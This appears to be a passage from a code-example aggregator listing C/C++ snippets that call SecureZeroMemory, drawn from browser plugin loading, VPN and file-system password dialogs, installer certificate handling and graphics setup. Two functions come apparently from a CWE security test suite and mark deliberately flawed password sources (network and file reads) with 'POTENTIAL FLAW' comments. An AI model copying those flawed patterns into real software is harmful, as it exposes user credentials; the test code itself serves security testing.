    // identify the user, so there's no chance a GMP can read it and use
    // it for identity tracking.
    memset(&ctx, 0, sizeof(ctx));
    memset(aOriginSalt, 0, aOriginSaltLen);
    volumeId = 0;
    memset(&deviceId[0], '*', sizeof(string16::value_type) * deviceId.size());
    deviceId = L"";

    if (!rlz_lib::BytesToString(digest, SHA256_LENGTH, &nodeId)) {
      return false;
    }
    // We've successfully bound the origin salt to node id.
    // rlz_lib::GetRawMachineId and/or the system functions it
    // called could have left user identifiable data on the stack,
    // so carefully zero the stack down to the guard page.
    uint8_t* top;
    uint8_t* bottom;
    if (!GetStackAfterCurrentFrame(&top, &bottom)) {
      return false;
    }
    assert(top >= bottom);
    SecureZeroMemory(bottom, (top - bottom));
  } else
#endif
  {
    nodeId = std::string(aOriginSalt, aOriginSalt + aOriginSaltLen);
  }

#if defined(MOZ_GMP_SANDBOX)
  // Start the sandbox now that we've generated the device bound node id.
  // This must happen after the node id is bound to the device id, as
  // generating the device id requires privileges.
  if (mSandboxStarter) {
    mSandboxStarter->Start();
  }
#endif

  // Load the GMP.
  PRLibSpec libSpec;
  libSpec.value.pathname = aLibPath;
  libSpec.type = PR_LibSpec_Pathname;
  mLib = PR_LoadLibraryWithFlags(libSpec, 0);
  if (!mLib) {
    return false;
  }

  GMPInitFunc initFunc = reinterpret_cast<GMPInitFunc>(PR_FindFunctionSymbol(mLib, "GMPInit"));
  if (!initFunc) {
    return false;
  }

  if (initFunc(aPlatformAPI) != GMPNoErr) {
    return false;
  }

  GMPSetNodeIdFunc setNodeIdFunc = reinterpret_cast<GMPSetNodeIdFunc>(PR_FindFunctionSymbol(mLib, "GMPSetNodeId"));
  if (setNodeIdFunc) {
    setNodeIdFunc(nodeId.c_str(), nodeId.size());
  }

  mGetAPIFunc = reinterpret_cast<GMPGetAPIFunc>(PR_FindFunctionSymbol(mLib, "GMPGetAPI"));
  if (!mGetAPIFunc) {
    return false;
  }

  return true;
}
Example #16
0
void CSettings::HandleRestart()
{
	int restart = ISettingsPropPage::Restart_None;
	restart |= m_pMainPage->GetRestart();
	restart |= m_pOverlayPage->GetRestart();
	restart |= m_pOverlaysPage->GetRestart();
	restart |= m_pOverlayHandlersPage->GetRestart();
	restart |= m_pProxyPage->GetRestart();
	restart |= m_pProgsDiffPage->GetRestart();
	restart |= m_pProgsMergePage->GetRestart();
	restart |= m_pProgsUniDiffPage->GetRestart();
	restart |= m_pProgsAlternativeEditor->GetRestart();
	restart |= m_pLookAndFeelPage->GetRestart();
	restart |= m_pDialogsPage->GetRestart();
	restart |= m_pMiscPage->GetRestart();
	restart |= m_pColorsPage->GetRestart();
	restart |= m_pColorsPage2->GetRestart();
	restart |= m_pColorsPage3->GetRestart();
	restart |= m_pSavedPage->GetRestart();
	restart |= m_pHooksPage->GetRestart();
	restart |= m_pBugTraqPage->GetRestart();
	restart |= m_pTBlamePage->GetRestart();

	restart |= m_pGitConfig->GetRestart();
	restart |= m_pGitRemote->GetRestart();
	restart |= m_pBugTraqPage->GetRestart();
	restart |= m_pExtMenu->GetRestart();

	if (restart & ISettingsPropPage::Restart_System)
	{
		DWORD_PTR res = 0;
		::SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0, SMTO_ABORTIFHUNG, 20, &res);
		CMessageBox::Show(NULL, IDS_SETTINGS_RESTARTSYSTEM, IDS_APPNAME, MB_ICONINFORMATION);
	}
	if (restart & ISettingsPropPage::Restart_Cache)
	{
		DWORD_PTR res = 0;
		::SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0, SMTO_ABORTIFHUNG, 20, &res);
		// tell the cache to refresh everything
		HANDLE hPipe = CreateFile(
			GetCacheCommandPipeName(),		// pipe name
			GENERIC_READ |					// read and write access
			GENERIC_WRITE,
			0,								// no sharing
			NULL,							// default security attributes
			OPEN_EXISTING,					// opens existing pipe
			FILE_FLAG_OVERLAPPED,			// default attributes
			NULL);							// no template file


		if (hPipe != INVALID_HANDLE_VALUE)
		{
			// The pipe connected; change to message-read mode.
			DWORD dwMode;

			dwMode = PIPE_READMODE_MESSAGE;
			if (SetNamedPipeHandleState(
				hPipe,    // pipe handle
				&dwMode,  // new pipe mode
				NULL,     // don't set maximum bytes
				NULL))    // don't set maximum time
			{
				DWORD cbWritten;
				TSVNCacheCommand cmd;
				SecureZeroMemory(&cmd, sizeof(TSVNCacheCommand));
				cmd.command = TSVNCACHECOMMAND_REFRESHALL;
				BOOL fSuccess = WriteFile(
					hPipe,			// handle to pipe
					&cmd,			// buffer to write from
					sizeof(cmd),	// number of bytes to write
					&cbWritten,		// number of bytes written
					NULL);			// not overlapped I/O

				if (! fSuccess || sizeof(cmd) != cbWritten)
				{
					DisconnectNamedPipe(hPipe);
					CloseHandle(hPipe);
					hPipe = INVALID_HANDLE_VALUE;
				}
				if (hPipe != INVALID_HANDLE_VALUE)
				{
					// now tell the cache we don't need it's command thread anymore
					DWORD cbWritten;
					TSVNCacheCommand cmd;
					SecureZeroMemory(&cmd, sizeof(TSVNCacheCommand));
					cmd.command = TSVNCACHECOMMAND_END;
					WriteFile(
						hPipe,			// handle to pipe
						&cmd,			// buffer to write from
						sizeof(cmd),	// number of bytes to write
						&cbWritten,		// number of bytes written
						NULL);			// not overlapped I/O
					DisconnectNamedPipe(hPipe);
					CloseHandle(hPipe);
					hPipe = INVALID_HANDLE_VALUE;
				}
			}
			else
			{
				ATLTRACE("SetNamedPipeHandleState failed");
				CloseHandle(hPipe);
			}
		}
	}
}
Example #17
0
int CHistoryCombo::AddString(CString str, INT_PTR pos)
{
    if (str.IsEmpty())
        return -1;

    //truncate list to m_nMaxHistoryItems
    int nNumItems = GetCount();
    for (int n = m_nMaxHistoryItems; n < nNumItems; n++)
    {
        DeleteItem(m_nMaxHistoryItems);
        m_arEntries.RemoveAt(m_nMaxHistoryItems);
    }

    COMBOBOXEXITEM cbei;
    SecureZeroMemory(&cbei, sizeof cbei);
    cbei.mask = CBEIF_TEXT;

    if (pos < 0)
        cbei.iItem = GetCount();
    else
        cbei.iItem = pos;
    if (m_bTrim)
        str.Trim(L" ");
    CString combostring = str;
    combostring.Replace('\r', ' ');
    combostring.Replace('\n', ' ');
    cbei.pszText = const_cast<LPTSTR>(combostring.GetString());

#ifdef HISTORYCOMBO_WITH_SYSIMAGELIST
    if (m_bURLHistory)
    {
        cbei.iImage = SYS_IMAGE_LIST().GetFileIconIndex(str);
        if ((cbei.iImage == NULL) || (cbei.iImage == SYS_IMAGE_LIST().GetDefaultIconIndex()))
        {
            if (str.Left(5) == L"http:")
                cbei.iImage = SYS_IMAGE_LIST().GetFileIconIndex(L".html");
            else if (str.Left(6) == L"https:")
                cbei.iImage = SYS_IMAGE_LIST().GetFileIconIndex(L".html");
            else if (str.Left(5) == L"file:")
                cbei.iImage = SYS_IMAGE_LIST().GetDirIconIndex();
            else if (str.Left(4) == L"svn:")
                cbei.iImage = SYS_IMAGE_LIST().GetDirIconIndex();
            else if (str.Left(8) == L"svn+ssh:")
                cbei.iImage = SYS_IMAGE_LIST().GetDirIconIndex();
        }
        cbei.iSelectedImage = cbei.iImage;
        cbei.mask |= CBEIF_IMAGE | CBEIF_SELECTEDIMAGE;
    }
    if (m_bPathHistory)
    {
        cbei.iImage = SYS_IMAGE_LIST().GetFileIconIndex(str);
        if (cbei.iImage == SYS_IMAGE_LIST().GetDefaultIconIndex())
        {
            cbei.iImage = SYS_IMAGE_LIST().GetDirIconIndex();
        }
        cbei.iSelectedImage = cbei.iImage;
        cbei.mask |= CBEIF_IMAGE | CBEIF_SELECTEDIMAGE;
    }
#endif
    int nRet = InsertItem(&cbei);
    if (nRet >= 0)
        m_arEntries.InsertAt(nRet, str);

    //search the Combo for another string like this
    //and delete it if one is found
    if (m_bTrim)
        str.Trim();
    int nIndex = FindStringExact(0, combostring);
    if (nIndex != -1 && nIndex != nRet)
    {
        DeleteItem(nIndex);
        m_arEntries.RemoveAt(nIndex);
    }

    SetCurSel(nRet);
    return nRet;
}
/* goodB2G2() - use badsource and goodsink by reversing the blocks in the second if */
static void goodB2G2()
{
    wchar_t * password;
    wchar_t passwordBuffer[100] = L"";
    password = passwordBuffer;
    if(GLOBAL_CONST_TRUE)
    {
        {
            WSADATA wsaData;
            int wsaDataInit = 0;
            int recvResult;
            struct sockaddr_in service;
            wchar_t *replace;
            SOCKET connectSocket = INVALID_SOCKET;
            size_t passwordLen = wcslen(password);
            do
            {
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
                connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (connectSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
                service.sin_port = htons(TCP_PORT);
                if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed, make sure to recv one
                 * less char than is in the recv_buf in order to append a terminator */
                /* POTENTIAL FLAW: Reading sensitive data from the network */
                recvResult = recv(connectSocket, (char*)(password + passwordLen), (100 - passwordLen - 1) * sizeof(wchar_t), 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* Append null terminator */
                password[passwordLen + recvResult / sizeof(wchar_t)] = L'\0';
                /* Eliminate CRLF */
                replace = wcschr(password, L'\r');
                if (replace)
                {
                    *replace = L'\0';
                }
                replace = wcschr(password, L'\n');
                if (replace)
                {
                    *replace = L'\0';
                }
            }
            while (0);
            if (connectSocket != INVALID_SOCKET)
            {
                closesocket(connectSocket);
            }
            if (wsaDataInit)
            {
                WSACleanup();
            }
        }
    }
    if(GLOBAL_CONST_TRUE)
    {
        {
            HCRYPTPROV hCryptProv = 0;
            HCRYPTHASH hHash = 0;
            HCRYPTKEY hKey = 0;
            char hashData[100] = HASH_INPUT;
            HANDLE pHandle;
            wchar_t * username = L"User";
            wchar_t * domain = L"Domain";
            do
            {
                BYTE payload[(100 - 1) * sizeof(wchar_t)]; /* same size as password except for NUL terminator */
                DWORD payloadBytes;
                /* Hex-decode the input string into raw bytes */
                payloadBytes = decodeHexWChars(payload, sizeof(payload), password);
                /* Wipe the hex string, to prevent it from being given to LogonUserW if
                 * any of the crypto calls fail. */
                SecureZeroMemory(password, 100 * sizeof(wchar_t));
                /* Aquire a Context */
                if(!CryptAcquireContext(&hCryptProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0))
                {
                    break;
                }
                /* Create hash handle */
                if(!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash))
                {
                    break;
                }
                /* Hash the input string */
                if(!CryptHashData(hHash, (BYTE*)hashData, strlen(hashData), 0))
                {
                    break;
                }
                /* Derive an AES key from the hash */
                if(!CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey))
                {
                    break;
                }
                /* FIX: Decrypt the password */
                if(!CryptDecrypt(hKey, 0, 1, 0, payload, &payloadBytes))
                {
                    break;
                }
                /* Copy back into password and NUL-terminate */
                memcpy(password, payload, payloadBytes);
                password[payloadBytes / sizeof(wchar_t)] = L'\0';
            }
            while (0);
            if (hKey)
            {
                CryptDestroyKey(hKey);
            }
            if (hHash)
            {
                CryptDestroyHash(hHash);
            }
            if (hCryptProv)
            {
                CryptReleaseContext(hCryptProv, 0);
            }
            /* Use the password in LogonUser() to establish that it is "sensitive" */
            if (LogonUserW(
                        username,
                        domain,
                        password,
                        LOGON32_LOGON_NETWORK,
                        LOGON32_PROVIDER_DEFAULT,
                        &pHandle) != 0)
            {
                printLine("User logged in successfully.");
                CloseHandle(pHandle);
            }
            else
            {
                printLine("Unable to login.");
            }
        }
    }
}
Example #19
0
CScrollTool::CScrollTool()
	: m_bInitCalled(false)
	, m_bRightAligned(false)
{
	SecureZeroMemory(&ti, sizeof(ti));
}
Example #20
0
/*
 * DialogProc for OpenVPN username/password/challenge auth dialog windows
 */
INT_PTR CALLBACK
UserAuthDialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
    auth_param_t *param;
    WCHAR username[USER_PASS_LEN];
    WCHAR password[USER_PASS_LEN];

    switch (msg)
    {
    case WM_INITDIALOG:
        /* Set connection for this dialog and show it */
        param = (auth_param_t *) lParam;
        SetProp(hwndDlg, cfgProp, (HANDLE) param);
        if (param->challenge_str)
        {
            int wchars_num = MultiByteToWideChar(CP_UTF8, 0, param->challenge_str, -1, NULL, 0);
            LPWSTR wstr = (LPWSTR)malloc(sizeof(WCHAR) * wchars_num);
            HWND wnd_challenge = GetDlgItem(hwndDlg, ID_EDT_AUTH_CHALLENGE);

            MultiByteToWideChar(CP_UTF8, 0, param->challenge_str, -1, wstr, wchars_num);
            SetDlgItemTextW(hwndDlg, ID_TXT_AUTH_CHALLENGE, wstr);
            free(wstr);
            /* Set/Remove style ES_PASSWORD by SetWindowLong(GWL_STYLE) does nothing,
               send EM_SETPASSWORDCHAR just works. */
            if(param->challenge_echo)
                SendMessage(wnd_challenge, EM_SETPASSWORDCHAR, 0, 0);
        }
        if (RecallUsername(param->c->config_name, username))
            SetDlgItemTextW(hwndDlg, ID_EDT_AUTH_USER, username);
        if (RecallAuthPass(param->c->config_name, password))
        {
            SetDlgItemTextW(hwndDlg, ID_EDT_AUTH_PASS, password);
            SecureZeroMemory(password, sizeof(password));
        }
        if (param->c->flags & FLAG_SAVE_AUTH_PASS)
            Button_SetCheck(GetDlgItem (hwndDlg, ID_CHK_SAVE_PASS), BST_CHECKED);

        if (param->c->state == resuming)
            ForceForegroundWindow(hwndDlg);
        else
            SetForegroundWindow(hwndDlg);
        break;

    case WM_COMMAND:
        param = (auth_param_t *) GetProp(hwndDlg, cfgProp);
        switch (LOWORD(wParam))
        {
        case ID_EDT_AUTH_USER:
            if (HIWORD(wParam) == EN_UPDATE)
            {
                int len = Edit_GetTextLength((HWND) lParam);
                EnableWindow(GetDlgItem(hwndDlg, IDOK), (len ? TRUE : FALSE));
            }
            break;

        case ID_CHK_SAVE_PASS:
            param->c->flags ^= FLAG_SAVE_AUTH_PASS;
            if (param->c->flags & FLAG_SAVE_AUTH_PASS)
                Button_SetCheck(GetDlgItem (hwndDlg, ID_CHK_SAVE_PASS), BST_CHECKED);
            else
            {
                DeleteSavedAuthPass(param->c->config_name);
                Button_SetCheck(GetDlgItem (hwndDlg, ID_CHK_SAVE_PASS), BST_UNCHECKED);
            }
            break;

        case IDOK:
            if (GetDlgItemTextW(hwndDlg, ID_EDT_AUTH_USER, username, _countof(username)))
            {
                SaveUsername(param->c->config_name, username);
            }
            if ( param->c->flags & FLAG_SAVE_AUTH_PASS &&
                 GetDlgItemTextW(hwndDlg, ID_EDT_AUTH_PASS, password, _countof(password)) &&
                 wcslen(password) )
            {
                SaveAuthPass(param->c->config_name, password);
                SecureZeroMemory(password, sizeof(password));
            }
            ManagementCommandFromInput(param->c, "username \"Auth\" \"%s\"", hwndDlg, ID_EDT_AUTH_USER);
            if (param->challenge_str)
                ManagementCommandFromInputBase64(param->c, "password \"Auth\" \"SCRV1:%s:%s\"", hwndDlg, ID_EDT_AUTH_PASS, ID_EDT_AUTH_CHALLENGE);
            else
                ManagementCommandFromInput(param->c, "password \"Auth\" \"%s\"", hwndDlg, ID_EDT_AUTH_PASS);
            EndDialog(hwndDlg, LOWORD(wParam));
            return TRUE;

        case IDCANCEL:
            EndDialog(hwndDlg, LOWORD(wParam));
            StopOpenVPN(param->c);
            return TRUE;
        }
        break;

    case WM_CLOSE:
        EndDialog(hwndDlg, LOWORD(wParam));
        return TRUE;

    case WM_NCDESTROY:
        param = (auth_param_t *) GetProp(hwndDlg, cfgProp);
        if (param->challenge_str) free(param->challenge_str);
        free(param);
        RemoveProp(hwndDlg, cfgProp);
        break;
    }

    return FALSE;
}
/* goodB2G1() - use badsource and goodsink by changing the second STATIC_CONST_TRUE to STATIC_CONST_FALSE */
static void goodB2G1()
{
    char * data;
    char dataBuffer[100] = "";
    data = dataBuffer;
    if(STATIC_CONST_TRUE)
    {
        {
            FILE *pFile;
            pFile = fopen("passwords.txt", "r");
            if (pFile != NULL)
            {
                /* POTENTIAL FLAW: Read the password from a file */
                if (fgets(data, 100, pFile) == NULL)
                {
                    data[0] = '\0';
                }
                fclose(pFile);
            }
            else
            {
                data[0] = '\0';
            }
        }
    }
    if(STATIC_CONST_FALSE)
    {
        /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
        printLine("Benign, fixed string");
    }
    else
    {
        {
            HANDLE pHandle;
            char * username = "User";
            char * domain = "Domain";
            char hashData[100] = HASH_INPUT;
            HCRYPTPROV hCryptProv = 0;
            HCRYPTHASH hHash = 0;
            HCRYPTKEY hKey = 0;
            do
            {
                BYTE payload[(100 - 1) * sizeof(char)]; /* same size as data except for NUL terminator */
                DWORD payloadBytes;
                /* Hex-decode the input string into raw bytes */
                payloadBytes = decodeHexChars(payload, sizeof(payload), data);
                /* Wipe the hex string, to prevent it from being given to LogonUserA if
                 * any of the crypto calls fail. */
                SecureZeroMemory(data, 100 * sizeof(char));
                /* Aquire a Context */
                if(!CryptAcquireContext(&hCryptProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0))
                {
                    break;
                }
                /* Create hash handle */
                if(!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash))
                {
                    break;
                }
                /* Hash the input string */
                if(!CryptHashData(hHash, (BYTE*)hashData, strlen(hashData), 0))
                {
                    break;
                }
                /* Derive an AES key from the hash */
                if(!CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey))
                {
                    break;
                }
                if(!CryptDecrypt(hKey, 0, 1, 0, payload, &payloadBytes))
                {
                    break;
                }
                /* Copy back into data and NUL-terminate */
                memcpy(data, payload, payloadBytes);
                data[payloadBytes / sizeof(char)] = '\0';
            }
            while (0);
            if (hKey)
            {
                CryptDestroyKey(hKey);
            }
            if (hHash)
            {
                CryptDestroyHash(hHash);
            }
            if (hCryptProv)
            {
                CryptReleaseContext(hCryptProv, 0);
            }
            /* FIX: Decrypt the password before using it for authentication  */
            if (LogonUserA(
                        username,
                        domain,
                        data,
                        LOGON32_LOGON_NETWORK,
                        LOGON32_PROVIDER_DEFAULT,
                        &pHandle) != 0)
            {
                printLine("User logged in successfully.");
                CloseHandle(pHandle);
            }
            else
            {
                printLine("Unable to login.");
            }
        }
    }
}
Example #22
0
/*
 * DialogProc for OpenVPN private key password dialog windows
 */
INT_PTR CALLBACK
PrivKeyPassDialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
    connection_t *c;
    WCHAR passphrase[KEY_PASS_LEN];

    switch (msg)
    {
    case WM_INITDIALOG:
        /* Set connection for this dialog and show it */
        c = (connection_t *) lParam;
        SetProp(hwndDlg, cfgProp, (HANDLE) c);
        if (RecallKeyPass(c->config_name, passphrase) && wcslen(passphrase))
        {
            /* Use the saved password and skip the dialog */
            SetDlgItemTextW(hwndDlg, ID_EDT_PASSPHRASE, passphrase);
            SecureZeroMemory(passphrase, sizeof(passphrase));
            ManagementCommandFromInput(c, "password \"Private Key\" \"%s\"", hwndDlg, ID_EDT_PASSPHRASE);
            EndDialog(hwndDlg, IDOK);
            return TRUE;
        }
        if (c->flags & FLAG_SAVE_KEY_PASS)
            Button_SetCheck (GetDlgItem (hwndDlg, ID_CHK_SAVE_PASS), BST_CHECKED);
        if (c->state == resuming)
            ForceForegroundWindow(hwndDlg);
        else
            SetForegroundWindow(hwndDlg);
        break;

    case WM_COMMAND:
        c = (connection_t *) GetProp(hwndDlg, cfgProp);
        switch (LOWORD(wParam))
        {
        case ID_CHK_SAVE_PASS:
            c->flags ^= FLAG_SAVE_KEY_PASS;
            if (c->flags & FLAG_SAVE_KEY_PASS)
                Button_SetCheck (GetDlgItem (hwndDlg, ID_CHK_SAVE_PASS), BST_CHECKED);
            else
            {
                Button_SetCheck (GetDlgItem (hwndDlg, ID_CHK_SAVE_PASS), BST_UNCHECKED);
                DeleteSavedKeyPass(c->config_name);
            }
            break;

        case IDOK:
            if ((c->flags & FLAG_SAVE_KEY_PASS) &&
                GetDlgItemTextW(hwndDlg, ID_EDT_PASSPHRASE, passphrase, _countof(passphrase)) &&
                wcslen(passphrase) > 0)
            {
                SaveKeyPass(c->config_name, passphrase);
                SecureZeroMemory(passphrase, sizeof(passphrase));
            }
            ManagementCommandFromInput(c, "password \"Private Key\" \"%s\"", hwndDlg, ID_EDT_PASSPHRASE);
            EndDialog(hwndDlg, LOWORD(wParam));
            return TRUE;

        case IDCANCEL:
            EndDialog(hwndDlg, LOWORD(wParam));
            StopOpenVPN (c);
            return TRUE;
        }
        break;

    case WM_CLOSE:
        EndDialog(hwndDlg, LOWORD(wParam));
        return TRUE;

    case WM_NCDESTROY:
        RemoveProp(hwndDlg, cfgProp);
        break;
  }
  return FALSE;
}
Example #23
0
DWORD APIENTRY NPAddConnection3(HWND hwndOwner,
    LPNETRESOURCEW lpNetResource, LPWSTR lpPassword, LPWSTR lpUserName, DWORD dwFlags)
{
    DWORD NpResult;
    PWSTR RemoteName = lpNetResource->lpRemoteName;
    DWORD CredentialsKind;
    WCHAR UserName[CREDUI_MAX_USERNAME_LENGTH + 1], Password[CREDUI_MAX_PASSWORD_LENGTH + 1];
#if defined(FSP_NP_CREDENTIAL_MANAGER)
    BOOL Save = TRUE;
#endif

    //dwFlags |= CONNECT_INTERACTIVE | CONNECT_PROMPT; /* TESTING ONLY! */

    /* CONNECT_PROMPT is only valid if CONNECT_INTERACTIVE is also set */
    if (CONNECT_PROMPT == (dwFlags & (CONNECT_INTERACTIVE | CONNECT_PROMPT)))
        return WN_BAD_VALUE;

    /* if not CONNECT_PROMPT go ahead and attempt to NPAddConnection once */
    if (0 == (dwFlags & CONNECT_PROMPT))
    {
        NpResult = NPAddConnection(lpNetResource, lpPassword, lpUserName);
        if (WN_ACCESS_DENIED != NpResult || 0 == (dwFlags & CONNECT_INTERACTIVE))
            return NpResult;
    }

    FspNpGetCredentialsKind(RemoteName, &CredentialsKind);
    if (FSP_NP_CREDENTIALS_NONE == CredentialsKind)
        return WN_CANCEL;

    /* if CONNECT_INTERACTIVE keep asking the user for valid credentials or cancel */
    NpResult = WN_SUCCESS;
    lstrcpyW(UserName, L"UNSPECIFIED");
    Password[0] = L'\0';
    if (FSP_NP_CREDENTIALS_PASSWORD == CredentialsKind)
        FspNpParseUserName(RemoteName, UserName, sizeof UserName / sizeof UserName[0]);
    do
    {
        NpResult = FspNpGetCredentials(
            hwndOwner, RemoteName, NpResult,
            CredentialsKind,
#if defined(FSP_NP_CREDENTIAL_MANAGER)
            &Save,
#else
            0,
#endif
            UserName, sizeof UserName / sizeof UserName[0],
            Password, sizeof Password / sizeof Password[0]);
        if (WN_SUCCESS != NpResult)
            break;

        NpResult = NPAddConnection(lpNetResource, Password, UserName);
    } while (WN_ACCESS_DENIED == NpResult);

#if defined(FSP_NP_CREDENTIAL_MANAGER)
    if (WN_SUCCESS == NpResult && Save)
    {
        CREDENTIALW Credential;

        memset(&Credential, 0, sizeof Credential);
        Credential.Type = CRED_TYPE_GENERIC;
        Credential.Persist = CRED_PERSIST_LOCAL_MACHINE;
        Credential.TargetName = RemoteName;
        Credential.UserName = UserName;
        Credential.CredentialBlobSize = (lstrlenW(Password) + 1) * sizeof(WCHAR);
        Credential.CredentialBlob = (PVOID)Password;

        CredWriteW(&Credential, 0);
    }
#endif

    SecureZeroMemory(Password, sizeof Password);

    return NpResult;
}
Example #24
0
static HRESULT ExecuteCertificateOperation(
    __in MSIHANDLE hInstall,
    __in SCA_ACTION saAction,
    __in DWORD dwStoreLocation
    )
{
    //AssertSz(FALSE, "Debug ExecuteCertificateOperation() here.");
    Assert(saAction & SCA_ACTION_INSTALL || saAction & SCA_ACTION_UNINSTALL);

    HRESULT hr = S_OK;
    LPWSTR pwzCaData = NULL;
    LPWSTR pwz;
    LPWSTR pwzName = NULL;
    LPWSTR pwzStore = NULL;
    int iAttributes = 0;
    LPWSTR pwzPFXPassword = NULL;
    LPWSTR pwzFilePath = NULL;
    BYTE* pbData = NULL;
    DWORD cbData = 0;
    DWORD cbPFXPassword = 0;

    BOOL fUserStoreLocation = (CERT_SYSTEM_STORE_CURRENT_USER == dwStoreLocation);
    HCERTSTORE hCertStore = NULL;

    hr = WcaGetProperty(L"CustomActionData", &pwzCaData);
    ExitOnFailure(hr, "Failed to get CustomActionData");

    WcaLog(LOGMSG_TRACEONLY, "CustomActionData: %ls", pwzCaData);

    pwz = pwzCaData;
    hr = WcaReadStringFromCaData(&pwz, &pwzName);
    ExitOnFailure(hr, "Failed to parse certificate name.");
    hr = WcaReadStringFromCaData(&pwz, &pwzStore);
    ExitOnFailure(hr, "Failed to parse CustomActionData, StoreName");
    hr = WcaReadIntegerFromCaData(&pwz, &iAttributes);
    ExitOnFailure(hr, "Failed to parse certificate attribute");
    if (SCA_ACTION_INSTALL == saAction) // install operations need more data
    {
        hr = WcaReadStreamFromCaData(&pwz, &pbData, (DWORD_PTR*)&cbData);
        ExitOnFailure(hr, "Failed to parse certificate stream.");

        hr = WcaReadStringFromCaData(&pwz, &pwzPFXPassword);
        ExitOnFailure(hr, "Failed to parse certificate password.");
    }

    // Open the right store.
    hCertStore = ::CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, NULL, dwStoreLocation, pwzStore);
    MessageExitOnNullWithLastError1(hCertStore, hr, msierrCERTFailedOpen, "Failed to open certificate store: %ls", pwzStore);

    if (SCA_ACTION_INSTALL == saAction) // install operations need more data
    {
        // Uninstall existing versions of this package.  Ignore any failures
        // This is needed to clean up the private key of a cert when we replace an existing cert
        // CertAddCertificateContextToStore(CERT_STORE_ADD_REPLACE_EXISTING) does not remove the private key if the cert is replaced
        UninstallCertificatePackage(hCertStore, fUserStoreLocation, pwzName);

        hr = InstallCertificatePackage(hCertStore, fUserStoreLocation, pwzName, pbData, cbData, pwzPFXPassword);
        ExitOnFailure(hr, "Failed to install certificate.");
    }
    else
    {
        Assert(SCA_ACTION_UNINSTALL == saAction);

        hr = UninstallCertificatePackage(hCertStore, fUserStoreLocation, pwzName);
        ExitOnFailure(hr, "Failed to uninstall certificate.");
    }

LExit:
    if (NULL != pwzPFXPassword && SUCCEEDED(StrSize(pwzPFXPassword, &cbPFXPassword)))
    {
        SecureZeroMemory(pwzPFXPassword, cbPFXPassword);
    }

    if (hCertStore)
    {
        if (!::CertCloseStore(hCertStore, CERT_CLOSE_STORE_CHECK_FLAG))
        {
            WcaLog(LOGMSG_VERBOSE, "Cert store was closed but not all resources were freed.  Error 0x%x", GetLastError());
        }
    }

    ReleaseMem(pbData);
    ReleaseStr(pwzFilePath);
    ReleaseStr(pwzPFXPassword);
    ReleaseStr(pwzStore);
    ReleaseStr(pwzName);
    ReleaseStr(pwzCaData);
    return hr;
}
TextureRenderSurface::TextureRenderSurface(ID3D11Device* pd3dDevice,
  int width,
  int height,
  bool hasDepthBuffer,
  bool hasColorBuffer,
  DXGI_FORMAT colorBufferFormat,
  uint32_t sampleCount,
  uint32_t sampleQuality)
{

    
    DXGI_FORMAT depthBufferFormat = DXGI_FORMAT_D24_UNORM_S8_UINT;

    m_width  = max(1,width);
    m_height = max(1,height);

    
    m_viewport.TopLeftX = 0.0f;
    m_viewport.TopLeftY = 0.0f;
    m_viewport.Width    = (float)(m_width);
    m_viewport.Height   = (float)(m_height);
    m_viewport.MinDepth = 0.0f;
    m_viewport.MaxDepth = 1.0f;


    UINT depthQuality;
    pd3dDevice->CheckMultisampleQualityLevels(depthBufferFormat,sampleCount,&depthQuality);

    UINT colorBufferQuality;
    pd3dDevice->CheckMultisampleQualityLevels(colorBufferFormat,sampleCount,&colorBufferQuality);

    sampleQuality = min(sampleQuality,(min(colorBufferQuality,depthQuality)-1)); 
    
    D3D11_TEXTURE2D_DESC texDescr;
    SecureZeroMemory( &texDescr, sizeof(texDescr) );
    texDescr.Width = m_width;
    texDescr.Height = m_height;
    texDescr.MipLevels = 1;
    texDescr.ArraySize = 1;
    texDescr.SampleDesc.Count = sampleCount;
    texDescr.SampleDesc.Quality = sampleQuality;
    texDescr.Usage = D3D11_USAGE_DEFAULT;

    HRESULT hr;

    if(hasDepthBuffer)
    {
        texDescr.Format =  depthBufferFormat;
        texDescr.BindFlags = D3D11_BIND_DEPTH_STENCIL;
        texDescr.CPUAccessFlags = 0;
        texDescr.MiscFlags = 0;
        ID3D11Texture2D* pDepthStencil; 
        hr = pd3dDevice->CreateTexture2D( &texDescr, NULL, &pDepthStencil);
        if (Logger::IsFailureLog(hr, L"CreateTexture2D"))
        {
            return;
        }        

        Render_SetDebugName(pDepthStencil,  "depth buffer");
        
        
        
        hr = pd3dDevice->CreateDepthStencilView( pDepthStencil, NULL, &m_pDepthStencilView );
        if (Logger::IsFailureLog(hr, L"CreateDepthStencilView"))
        {
            return;
        }
               
        m_pDepthStencilBuffer = new Texture(pDepthStencil,false);
        
    }

    if(hasColorBuffer)
    {
        texDescr.Format =  colorBufferFormat;
        texDescr.BindFlags = D3D11_BIND_RENDER_TARGET | D3D11_BIND_SHADER_RESOURCE;
        texDescr.CPUAccessFlags = 0;
        texDescr.MiscFlags = 0;

        ID3D11Texture2D* colorBuffer; 
        hr = pd3dDevice->CreateTexture2D( &texDescr, NULL, &colorBuffer);
        if (Logger::IsFailureLog(hr, L"CreateTexture2D"))
        {
            return;
        }        
        Render_SetDebugName(colorBuffer,  "color buffer");

        hr = pd3dDevice->CreateRenderTargetView( colorBuffer, NULL, &m_pRenderTargetView );
        if (Logger::IsFailureLog(hr, L"CreateRenderTargetView"))
        {
            return;
        } 

